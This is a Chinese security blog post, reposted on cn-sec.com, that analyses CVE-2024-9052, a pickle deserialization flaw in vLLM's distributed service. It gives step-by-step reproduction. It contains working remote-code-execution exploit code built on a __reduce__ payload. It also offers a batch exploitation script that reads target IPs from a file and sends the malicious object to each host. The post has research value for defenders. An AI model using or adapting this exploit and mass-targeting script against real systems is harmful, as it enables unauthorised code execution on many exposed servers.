AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

admin 2024年12月16日13:51:40评论75 views字数 3038阅读10分7秒阅读模式

前期准备

环境需要:Linux(这里使用kali)、Anaconda

首先安装Anaconda

前言:最好使用linux,如果使用windows可能会产生各种报错(各种各种各种!!!),最好使用Anaconda,方便独立管理虚拟机

使用conda创建虚拟机、python要求3.10

conda create -n vllm_beam python=3.10 -y

启动该虚拟机

conda activate vllm_beam

安装vllm

pip3 install https://github.com/vllm-project/vllm/releases/download/v0.6.4.post1/vllm-0.6.4.post1+cu118-cp38-abi3-manylinux1_x86_64.whl --extra-index-url https://download.pytorch.org/whl/cu118 -i https://pypi.tuna.tsinghua.edu.cn/simple

在安装vllm的时候,虚拟机磁盘剩余空间最好大点,至少6个G如果不够可能会报错

No space left on device //设备上没有空间

可以找一个有足够空间的目录

AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

然后执行命令 就可以重新安装了

export TMPDIR=/home

漏洞介绍

VLLM(Virtual Large Language Model)是一种旨在提升大型语言模型(LLM)推理效率的先进系统。其核心目标是通过降低计算成本和提升处理速度,来加快 LLM 在推理阶段的表现。传统的 LLM 推理通常需要消耗大量的计算资源和时间,特别是在硬件资源有限的环境中,性能瓶颈显得尤为突出。而 VLLM 采用了创新的架构设计,通过优化内存管理和计算流程,能够在不牺牲模型准确性的前提下,显著提高推理速度,使得推理过程变得更加高效和灵活。VLLM是被用于LLM推理和服务的工具库,因此与大模型密切相关

CVE编号:CVE-2024-9052

目前该CVE以及被保留,访问已经看不到了:https://nvd.nist.gov/vuln/detail/CVE-2024-9052,不知道具体的原因

AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

影响版本:(-∞, 0.6.4.post1)https://github.com/vllm-project/vllm/tree/main

也就是说目前是直接影响的全版本、通杀

AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

漏洞原理

vllm开启分布式服务时,未对接收的序列化对象进行相应的校验、过滤,导致攻击者可以向vllm分布式服务发送恶意序列化对象造成RCE

漏洞方法如下

vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)

在recv_object方法中,使用了pickle.loads()对接收到的对象数据进行直接的反序列化 如图

AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

pickle是python的一个进行序列化和反序列化的库,常见函数如下

//序列化 将Python对象转换成json字符串pickle.dump()pickle.dumps()//反序列化 将json字符串转换成Python对象pickle.load()pickle.loads()

而模式方法会在一些特定的时候被执行,例如这里用到的__reduce__,使用pickle.loads()进行反序列化时,会自动调用魔术方法__reduce__,因此在该方法中直接返回执行恶意指令,造成RCE。于是构造以下恶意的类。

classpayload:def__reduce__(self):return (__import__('os').system, ("touch /tmp/hacked",))

复现过程

首先本地启动一个vllm分布式服务(作为攻击目标),默认端口是29500,使用recv_object方法接收客户端发送过来的对象

from vllm.distributedimport (ensure_model_parallel_initialized,                              init_distributed_environment, get_world_group)import vllminit_distributed_environment(backend="gloo", distributed_init_method="tcp://0.0.0.0:29500", rank=1, world_size=2)vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)

忽略警告

AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

攻击机执行以下代码 发送恶意的序列化对象

from vllm.distributed import (ensure_model_parallel_initialized,                              init_distributed_environment, get_world_group)import vllmclass payload:    def __reduce__(self):        return (__import__('os').system, ("touch 1.txt",))init_distributed_environment(backend="gloo", distributed_init_method="tcp://127.0.0.1:29500", rank=0, world_size=2)vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)

结果如下

AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

批量漏洞利用脚步(后台回复20241213可获得)

from vllm.distributed import (ensure_model_parallel_initialized,                              init_distributed_environment, get_world_group)import vllmclass payload:    def __reduce__(self):        return (__import__('os').system, ("touch CVE-2024-9052.txt",))def getip(file_path):    ips = []    with open(file_path, 'r') as file:        for line in file:            ip = line.strip()            if ip:                ips.append(ip)    return ipsips = getip("ips.txt")for ip in ips:    print(ip)    target = "tcp://" + ip    init_distributed_environment(backend="gloo", distributed_init_method=target, rank=0, world_size=2)    vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)
AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

 

原文始发于微信公众号(Ting的安全笔记):AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月16日13:51:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)https://cn-sec.com/archives/3508433.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息